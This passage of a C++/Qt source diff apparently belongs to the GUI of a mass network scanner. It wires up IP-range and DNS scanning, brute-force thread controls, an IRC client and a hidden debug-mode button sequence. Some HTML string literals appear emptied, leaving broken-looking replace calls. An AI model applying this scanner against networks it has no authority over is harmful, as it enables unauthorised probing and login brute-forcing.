if(tagRes.size() > 0) + { + if(tagRes.contains("script") == false && tagRes.contains("style") == false) + { + str.replace(tagRes, "" + tagRes + ""); + }; + tStr.replace(tagRes, ""); + }; + }; + + posTag = 0; + while ((posTag = _rIncInnerTags.indexIn(tStr, posTag)) != -1) + { + tagRes = _rIncInnerTags.cap(0); + if(tagRes.size() > 0) + { + str.replace(tagRes, "" + tagRes + ""); + tStr.replace(tagRes, ""); + }; + }; + + _rIncTags3.indexIn(str); + prot = _rIncTags3.cap(0); + if(prot.size() > 0) str.replace(prot, "" + prot + ""); + + _rIncScriptTag1.indexIn(str); + prot = _rIncScriptTag1.cap(0); + if(prot.size() > 0) str.replace(prot, "" + prot + ""); + _rIncScriptTag2.indexIn(str); + prot = _rIncScriptTag2.cap(0); + if(prot.size() > 0) str.replace(prot, "" + prot + ""); + str.replace("</script>", "</script>"); + + _rIncStyleTag.indexIn(str); + prot = _rIncStyleTag.cap(0); + if(prot.size() > 0) str.replace(prot, "" + prot + ""); + str.replace("<style>", "<style>"); + + str.replace("\n", "
"); + RecvData->append(str); + }; + RecvData->append("

"); + } + else + { + str = headNbody[0]; + tStr = str; + + _rIncRN.setMinimal(true); + while ((posTag = _rIncRN.indexIn(tStr, posTag)) != -1) + { + tagRes = _rIncRN.cap(0); + if(tagRes.size() > 0) + { + str.replace(tagRes, "" + tagRes + ""); + }; + tStr.replace(tagRes, ""); + }; + str.replace("HTTP/1.1", "HTTP/1.1"); + str.replace("\r\n", "
"); + RecvData->append("[" + ip + "]
" + str + "

"); + }; + }; +}; +#pragma region SM_Buts +void nesca_3::smReaction() +{ + QObject *smB = this->sender(); + + if(smB == ui->secretMessageBut_1) + { + if(smBit_1 == false) + { + smBit_1 = true; + ui->secretMessageBut_1->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_1 = false; + ui->secretMessageBut_1->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_2) + { + if(smBit_2 == false) + { + smBit_2 = true; + ui->secretMessageBut_2->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_2 = false; + ui->secretMessageBut_2->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_3) + { + if(smBit_3 == false) + { + smBit_3 = true; + ui->secretMessageBut_3->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_3 = false; + ui->secretMessageBut_3->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_4) + { + if(smBit_4 == false) + { + smBit_4 = true; + ui->secretMessageBut_4->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_4 = false; + ui->secretMessageBut_4->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_5) + { + if(smBit_5 == false) + { + smBit_5 = true; + ui->secretMessageBut_5->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_5 = false; + ui->secretMessageBut_5->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_6) + { + if(smBit_6 == false) + { + smBit_6 = true; + ui->secretMessageBut_6->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_6 = false; + ui->secretMessageBut_6->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_7) + { + if(smBit_7 == false) + { + smBit_7 = true; + ui->secretMessageBut_7->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_7 = false; + ui->secretMessageBut_7->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_8) + { + if(smBit_8 == false) + { + smBit_8 = true; + ui->secretMessageBut_8->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_8 = false; + ui->secretMessageBut_8->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + }; + + if(smBit_1 && smBit_2 && smBit_3 && smBit_4 && smBit_5 && smBit_6 && smBit_7 && smBit_8) + { + gDebugMode = true; + stt->doEmitionDebugFoundData("[Debug mode ON]"); + } + else if(smBit_1 && smBit_2 == false && smBit_3 && smBit_4 == false && smBit_5 == false && smBit_6 == false && smBit_7 == false && smBit_8 == false) + { + code160 = true; + stt->doEmitionDebugFoundData("[Tags-in-chat mode ON]"); + } + else if(smBit_1 == false && smBit_2 == false && smBit_3 == false && smBit_4 == false && smBit_5 == false && smBit_6 == false && smBit_7 && smBit_8) + { + gNegDebugMode = true; + stt->doEmitionDebugFoundData("[Negative-hit mode ON]"); + } + else if(smBit_1 == false && smBit_2 && smBit_3 && smBit_4 && smBit_5 && smBit_6 && smBit_7 && smBit_8) + { + HTMLDebugMode = true; + stt->doEmitionDebugFoundData("[HTML Debug mode ON]"); + } + + else + { + if(gDebugMode) + { + gDebugMode = false; + stt->doEmitionDebugFoundData("[Debug mode OFF]"); + }; + if(code160) + { + code160 = false; + stt->doEmitionDebugFoundData("[Tags-in-chat mode OFF]"); + }; + if(gNegDebugMode) + { + gNegDebugMode = false; + stt->doEmitionDebugFoundData("[Negative-hit mode OFF]"); + }; + if(HTMLDebugMode) + { + HTMLDebugMode = false; + stt->doEmitionDebugFoundData("[HTML Debug mode OFF]"); + }; + }; + +}; +#pragma endregion +void nesca_3::IPScanSeq() +{ + if(ui->ipLine->text() != "") + { + if(ui->portLine->text() != "") + { + ui->labelParsed_Value->setText("0/0"); + stopFirst = false; + saveOptions(); + ui->tabMainWidget->setTabEnabled(1, false); + ui->tabMainWidget->setTabEnabled(2, false); + + QString rangeData = ui->ipLine->text(); + if(rangeData.indexOf("-") > 0) + { + rangeData = ui->ipLine->text(); + } + else + { + if(rangeData.indexOf("/") < 0) + { + rangeData = ui->ipLine->text() + "-" + ui->ipLine->text(); + } + else + { + rangeData = ui->ipLine->text(); + }; + }; + + strcpy(inputStr, ("DUMMY|0|" + rangeData + "|" + ui->threadLine->text() + "|-p" + ui->portLine->text().replace(" ", "")).toLocal8Bit().data()); + + stt->start(); + startFlag = true; + globalScanFlag = true; + ui->startScanButton_3->setText("Stop"); + ui->startScanButton_3->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + ui->dataText->clear(); + } + else + { + stt->doEmitionRedFoundData("No ports specified!"); + }; + } + else + { + if(stopFirst == false) + { + stopFirst = true; + globalScanFlag = false; + ui->startScanButton_3->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_3->setText("STOP!"); + stt->doEmitionYellowFoundData("Trying to stop. Please, wait..."); + } + else + { + globalScanFlag = false; + ui->startScanButton_3->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: yellow;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_3->setText("Wait..."); + stt->doEmitionYellowFoundData("Wait, killing threads..."); + STTTerminate(); + }; + }; +}; +void nesca_3::DNSScanSeq() +{ + if(ui->lineEditStartIPDNS->text() != "") + { + if(ui->lineEditPort->text() != "") + { + ui->labelParsed_Value->setText("0/0"); + if(ui->lineEditStartIPDNS->text().indexOf(".") > 0) + { + QStringList lst = ui->lineEditStartIPDNS->text().split("."); + ui->lineEditStartIPDNS->setText(lst[0]); + QString topLevelDomainStr; + for(int i = 1; i < lst.size(); ++i) + { + topLevelDomainStr += "."; + topLevelDomainStr += lst[i]; + }; + ui->lineILVL->setText(topLevelDomainStr); + }; + + stopFirst = false; + saveOptions(); + + ui->tabMainWidget->setTabEnabled(0, false); + ui->tabMainWidget->setTabEnabled(2, false); + + strcpy(inputStr, ("DUMMY|1|" + ui->lineEditStartIPDNS->text() + "|" + ui->lineILVL->text() + "|" + ui->lineEditThread->text() + "|-p" + ui->lineEditPort->text().replace(" ", "")).toLocal8Bit().data()); + + stt->start(); + startFlag = true; + globalScanFlag = true; + ui->startScanButton_4->setText("Stop"); + ui->startScanButton_4->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + ui->dataText->clear(); + } + else + { + stt->doEmitionRedFoundData("No ports specified!"); + }; + } + else + { + stt->doEmitionRedFoundData("Wrong mask input."); + }; +}; +void nesca_3::ImportScanSeq() +{ + QString fileName; + + if(importFileName.size() == 0) fileName = QFileDialog::getOpenFileName(this, tr("Open File"), + "", + tr("Files (*.txt)") + ); + else fileName = importFileName; + if(fileName != "") + { + ui->tabMainWidget->setTabEnabled(0, false); + ui->tabMainWidget->setTabEnabled(1, false); + + strcpy(inputStr, ("DUMMY|-f|" + fileName + "|" + ui->importThreads->text() + "|-p" + ui->importPorts->text().replace(" ", "")).toLocal8Bit().data()); + + globalScanFlag = true; + stt->start(); + startFlag = true; + stopFirst = false; + pbTh->start(); + ui->importButton->setText("Stop"); + ui->importButton->setStyleSheet( + " #importButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + ui->dataText->clear(); + } + else + { + stt->doEmitionYellowFoundData("Empty filename."); + }; +}; +QLabel *smsgLbl; +QLabel *smsgNLbl; +void nesca_3::slotShowServerMsg(QString str) +{ + QMessageBox msgBox; + msgBox.setWindowFlags ( Qt::FramelessWindowHint|Qt::WindowStaysOnTopHint|Qt::SubWindow ); + msgBox.setStyleSheet("border: 0.5px solid #7c7c7c; background-color:rgba(25, 25, 25, 255); color:#7c7c7c;"); + msgBox.setText("Server message"); + msgBox.setInformativeText(str); + msgBox.setContentsMargins(0, 0, 25, 15); + msgBox.setStandardButtons(QMessageBox::Ok); + msgBox.setDefaultButton(QMessageBox::Ok); + msgBox.button(QMessageBox::Ok)->setStyleSheet( + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: gray;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "width: 20px;" + "position: absolute;" + ); + msgBox.exec(); +}; +void nesca_3::DNSLine_ValueChanged(QString str) +{ + if(globalScanFlag == 0) ui->startScanButton_4->setText("Start"); +}; +void nesca_3::slotRestoreDefPorts() +{ + int ci = ui->tabMainWidget->currentIndex(); + + if(ci == 0) + { + ui->portLine->setText(PORTSET); + } + else if(ci == 1) + { + ui->lineEditPort->setText(PORTSET); + } + else if(ci == 2) + { + ui->importPorts->setText(PORTSET); + }; +}; +QGraphicsTextItem *textItem = NULL; +QGraphicsRectItem* pbItem = NULL; +QGraphicsRectItem* pbBlackRectItem = NULL; +QPen pbPen(QColor(227, 227, 227, 150)); +QFont pbPointerFont; +void nesca_3::slotPBUpdate() +{ + int val = this->perc; + if(textItem != NULL) + { + delete textItem; + textItem = NULL; + }; + if(pbItem != NULL) + { + delete pbItem; + pbItem = NULL; + }; + if(pbBlackRectItem != NULL) + { + delete pbBlackRectItem; + pbBlackRectItem = NULL; + }; + pbScene->clear(); + QLinearGradient grad1(0, 0, 0, 110); + + if(val < 33) grad1.setColorAt(0.1, QColor(207, 0, 0)); + else if( val < 66 ) grad1.setColorAt(0.1, QColor(247, 244, 0)); + else if( val < 99 ) grad1.setColorAt(0.1, QColor(0, 207, 0)); + + QLinearGradient gradBlack(0, 0, 0, 110); + gradBlack.setColorAt(0.1, QColor(0, 0, 0)); + pbBlackRectItem = new QGraphicsRectItem(0,0,5,99); + pbBlackRectItem->setBrush(gradBlack); + pbScene->addItem(pbBlackRectItem); + + pbItem = new QGraphicsRectItem(0,0,5,val); + pbItem->setBrush(grad1); + pbScene->addItem(pbItem); + + textItem = pbScene->addText("- " + QString::number(val) + "%", pbPointerFont); + textItem->setX(2); + textItem->setY(val - 10); + textItem->setDefaultTextColor(QColor(255, 255, 255, 180)); + + pbScene->addLine(4, 11, 6, 11, pbPen); + pbScene->addLine(4, 22, 6, 22, pbPen); + pbScene->addLine(0, 33, 8, 33, pbPen); + pbScene->addLine(4, 44, 6, 44, pbPen); + pbScene->addLine(4, 55, 6, 55, pbPen); + pbScene->addLine(0, 66, 8, 66, pbPen); + pbScene->addLine(4, 77, 6, 77, pbPen); + pbScene->addLine(4, 88, 6, 88, pbPen); +}; +void nesca_3::changeNSTrackLabel(bool status) +{ + if(status) ui->NSTrackStatusLabel->setStyleSheet("background-color: green; border: 1px solid white;"); + else ui->NSTrackStatusLabel->setStyleSheet("background-color: black; border: 1px solid white;"); +}; +#pragma region "Signal assignments" +void nesca_3::ConnectEvrthng() +{ + connect ( pbTh, SIGNAL(upd()), this, SLOT(slotPBUpdate())); + connect ( ui->secretMessageBut_1, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_2, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_3, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_4, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_5, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_6, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_7, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_8, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->nickList, SIGNAL(itemClicked(QListWidgetItem*)), this, SLOT(slotItemClicked(QListWidgetItem*))); + connect ( ui->nickShowBut, SIGNAL( clicked() ), this, SLOT( slotShowNicks() ) ); + connect ( ui->ircText, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); + connect ( ui->ircRaw, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); + connect ( ui->dataText, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); + connect ( ui->ircProxy, SIGNAL( returnPressed() ), this, SLOT( CheckProxy() ) ); + connect ( ui->ircProxyPort, SIGNAL( returnPressed() ), this, SLOT( CheckProxy() ) ); + connect ( ui->shoutBox, SIGNAL( returnPressed() ), this, SLOT( SaySmthng() ) ); + connect ( ui->ircNickBox, SIGNAL( returnPressed() ), this, SLOT( ChangeNick() ) ); + connect ( ui->ircServerBox, SIGNAL( returnPressed() ), this, SLOT( ConnectToIRCServer() ) ); + connect ( ui->serverPortBox, SIGNAL( returnPressed() ), this, SLOT( ConnectToIRCServer() ) ); + connect ( ui->checkKeyBut, SIGNAL( clicked() ), this, SLOT( CheckPersKey() ) ); + connect ( ui->DataflowModeBut, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) ); + connect ( ui->IRCConnectBut, SIGNAL( clicked() ), this, SLOT( ConnectToIRCServer() ) ); + connect ( ui->IRCModeChangerBut, SIGNAL( clicked() ), this, SLOT( ChangeIRCRawLog() ) ); + connect ( ui->JobModeBut, SIGNAL( clicked() ), this, SLOT( switchToJobMode() ) ); + connect ( ui->IRCModeBut, SIGNAL( clicked() ), this, SLOT( ChangeDispalyMode() ) ); + connect ( ui->clearLogBut, SIGNAL( clicked() ), this, SLOT( slotClearLogs() ) ); + connect ( ui->IRCUTFMode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeToUTF() ) ); + connect ( ui->IRCCP1251Mode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeTo1251() ) ); + connect ( mct, SIGNAL(showNewMsg(QString)), this, SLOT(slotShowServerMsg(QString))); + connect ( tray, SIGNAL(activated(QSystemTrayIcon::ActivationReason)),this,SLOT(trayButtonClicked())); + connect ( ui->exitButton, SIGNAL( clicked() ), this, SLOT( exitButtonClicked() ) ); + connect ( ui->trayButton, SIGNAL( clicked() ), this, SLOT( trayButtonClicked() ) ); + connect ( ui->switcherBut, SIGNAL( clicked() ), this, SLOT( switchDataFields() ) ); + connect ( ui->importButton, SIGNAL( clicked() ), this, SLOT( importAndScan() ) ); + connect ( ui->startScanButton_3, SIGNAL( clicked() ), this, SLOT( startScanButtonClicked() ) ); + connect ( ui->startScanButton_4, SIGNAL( clicked() ), this, SLOT( startScanButtonClickedDNS() ) ); + connect ( ui->shuffle_onoff, SIGNAL(toggled(bool)), this, SLOT(ChangeShuffle(bool))); + connect ( ui->trackerOnOff, SIGNAL(toggled(bool)), this, SLOT(ChangeTrackerOK(bool))); + connect ( ui->pingingOnOff, SIGNAL( toggled(bool) ), this, SLOT( ChangePingerOK(bool) ) ); + connect ( ui->debugFileOnOff, SIGNAL( toggled(bool) ), this, SLOT( ChangeDebugFileState(bool) ) ); + connect ( ui->importThreads, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelThreads_ValueChanged(QString) ) ); + connect ( ui->threadLine, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelThreads_ValueChanged(QString) ) ); + connect ( ui->PingTO, SIGNAL( textChanged(QString) ), this, SLOT( PingTO_ChangeValue(QString) ) ); + connect ( ui->threadDelayBox, SIGNAL( textChanged(QString) ), this, SLOT( ThreadDelay_ChangeValue(QString) ) ); + connect ( ui->maxBrutingThrBox, SIGNAL( textChanged(QString) ), this, SLOT( MaxBrutingThr_ChangeValue(QString) ) ); + connect ( ui->lineEditThread, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelThreads_ValueChanged(QString) ) ); + connect ( ui->iptoLine_value, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelTO_ValueChanged(QString) ) ); + connect ( ui->iptoLine_value_2, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelTO_ValueChanged(QString) ) ); + connect ( ui->iptoLine_value_3, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelTO_ValueChanged(QString) ) ); + connect ( ui->restoreDefaultPorts1, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); + connect ( ui->restoreDefaultPorts2, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); + connect ( ui->restoreDefaultPorts3, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); + connect ( ui->IRCCheckProxyBut, SIGNAL( clicked() ), this, SLOT( CheckProxy() ) ); + connect ( ui->lineEditStartIPDNS, SIGNAL( textChanged(QString) ), this, SLOT( DNSLine_ValueChanged(QString) ) ); + connect ( ui->ipLine, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClicked() ) ); + connect ( ui->threadLine, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClicked() ) ); + connect ( ui->portLine, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClicked() ) ); + connect ( ui->lineEditStartIPDNS, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClickedDNS() ) ); + connect ( ui->lineILVL, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClickedDNS() ) ); + connect ( ui->lineEditPort, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClickedDNS() ) ); + connect ( ui->lineEditThread, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClickedDNS() ) ); + connect ( ui->logoLabel, SIGNAL( clicked() ), this, SLOT( logoLabelClicked() ) ); + connect ( ui->me2ScanBut, SIGNAL( clicked() ), this, SLOT( activateME2ScanScene() ) ); + connect ( ui->QoSScanBut, SIGNAL( clicked() ), this, SLOT( activateQoSScanBut() ) ); + connect ( ui->VoiceScanBut, SIGNAL( clicked() ), this, SLOT( activateVoiceScanBut() ) ); + connect ( ui->PieStatBut, SIGNAL( clicked() ), this, SLOT( activatePieStatBut() ) ); + connect ( ui->topicLine, SIGNAL( returnPressed() ), this, SLOT( ChangeTopic() ) ); + connect ( stt, SIGNAL(showRedVersion()), this, SLOT(slotShowRedVersion())); + connect ( stt, SIGNAL(startScanIP()), this, SLOT(IPScanSeq())); + connect ( stt, SIGNAL(startScanDNS()), this, SLOT(DNSScanSeq())); + connect ( stt, SIGNAL(startScanImport()), this, SLOT(ImportScanSeq())); + connect ( stt, SIGNAL(sIncData(QString, QString)), this, SLOT(slotIncData(QString, QString))); + connect ( stt, SIGNAL(sOutData(QString, QString)), this, SLOT(slotOutData(QString, QString))); + connect ( stt, SIGNAL(changeDebugFoundData(QString)), this, SLOT(appendDebugText(QString))); + connect ( stt, SIGNAL(changeYellowFoundData(QString)), this, SLOT(appendNotifyText(QString))); + connect ( stt, SIGNAL(changeRedFoundData(QString)), this, SLOT(appendErrText(QString))); + connect ( stt, SIGNAL(changeGreenFoundData(QString)), this, SLOT(appendOKText(QString))); + connect ( stt, SIGNAL(killSttThread()), this, SLOT(STTTerminate())); + connect ( stt, SIGNAL(changeParsedValue(QString)), ui->labelParsed_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeIpRange(QString)), ui->labelIpRange_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeThreads(QString)), ui->labelThreads_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeIPS(QString)), ui->labelIPS_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeFoundData(QString)), this, SLOT(appendDefaultText(QString))); + connect ( stt, SIGNAL(changeBAValue(QString)), ui->labelBAThreads_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeStatus(QString)), ui->labelStatus_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeTargetsLeft(QString)), ui->labelTargetsLeft_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeOffline(QString)), ui->labelOffline_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeBAData(QString)), ui->BAText, SLOT(append(QString))); + connect ( stt, SIGNAL(changeGreenBAData(QString)), this, SLOT(appendGreenBAData(QString))); + connect ( stt, SIGNAL(changeRedBAData(QString)), this, SLOT(appendRedBAData(QString))); + connect ( stt, SIGNAL(signalDataSaved(bool)), this, SLOT(changeNSTrackLabel(bool))); + connect ( chPTh, SIGNAL(changeGreenIRCData(QString)), this, SLOT(appendGreenIRCText(QString))); + connect ( chPTh, SIGNAL(changeRedIRCData(QString)), this, SLOT(appendRedIRCText(QString))); + connect ( chPTh, SIGNAL(changeYellowIRCData(QString)), this, SLOT(appendYellowIRCText(QString))); + connect ( chPTh, SIGNAL(changeIRCData(bool, bool, int, QString, QString)), this, SLOT(appendDefaultIRCText(bool, bool, int, QString, QString))); + connect ( ircTh, SIGNAL(getTopic(QString)), this, SLOT(slotIRCGetTopic(QString)) ); + connect ( ircTh, SIGNAL(IRCOfflined()), this, SLOT(slotIRCOfflined()) ); + connect ( ircTh, SIGNAL(sUnhidePopup(QString, QString)), this, SLOT(slotUnhidePopup(QString, QString))); + connect ( ircTh, SIGNAL(ClearNickList()), this, SLOT(slotClearNickList())); + connect ( ircTh, SIGNAL(AddNick(QString)), this, SLOT(slotAppendIRCNick(QString))); + connect ( ircTh, SIGNAL(changeGreenIRCData(QString)), this, SLOT(appendGreenIRCText(QString))); + connect ( ircTh, SIGNAL(changeRedIRCData(QString)), this, SLOT(appendRedIRCText(QString))); + connect ( ircPTh, SIGNAL(changeRedIRCData(QString)), this, SLOT(appendRedIRCText(QString))); + connect ( ircPTh, SIGNAL(RestartIRC()), this, SLOT(slotRestartIRC())); + connect ( ircTh, SIGNAL(changeYellowIRCData(QString)), this, SLOT(appendYellowIRCText(QString))); + connect ( ircTh, SIGNAL(changeIRCData(bool, bool, int, QString, QString)), this, 